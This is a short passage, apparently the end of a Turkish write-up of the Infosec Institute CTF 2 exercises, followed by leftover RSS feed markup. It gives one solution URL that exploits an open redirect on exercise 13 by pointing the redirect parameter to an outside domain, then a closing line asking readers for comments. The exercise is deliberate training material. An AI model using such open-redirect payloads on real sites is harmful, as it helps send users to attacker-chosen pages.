http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=//canyoupwn.me

31

 

Anlamadığınız, eleştirmek istediğiniz, abi şunu neden şöyle yapmadın yaaa dediğiniz yerleri lütfen yorum olarak belirtiniz.

Yazımız burda sona eriyor.

TR | Infosecinstitute CTF – 2 Write Up CanYouPwnMe

]]>
https://canyoupwn.me/tr-infosecinstitute-ctf-2-write-up/feed/ 2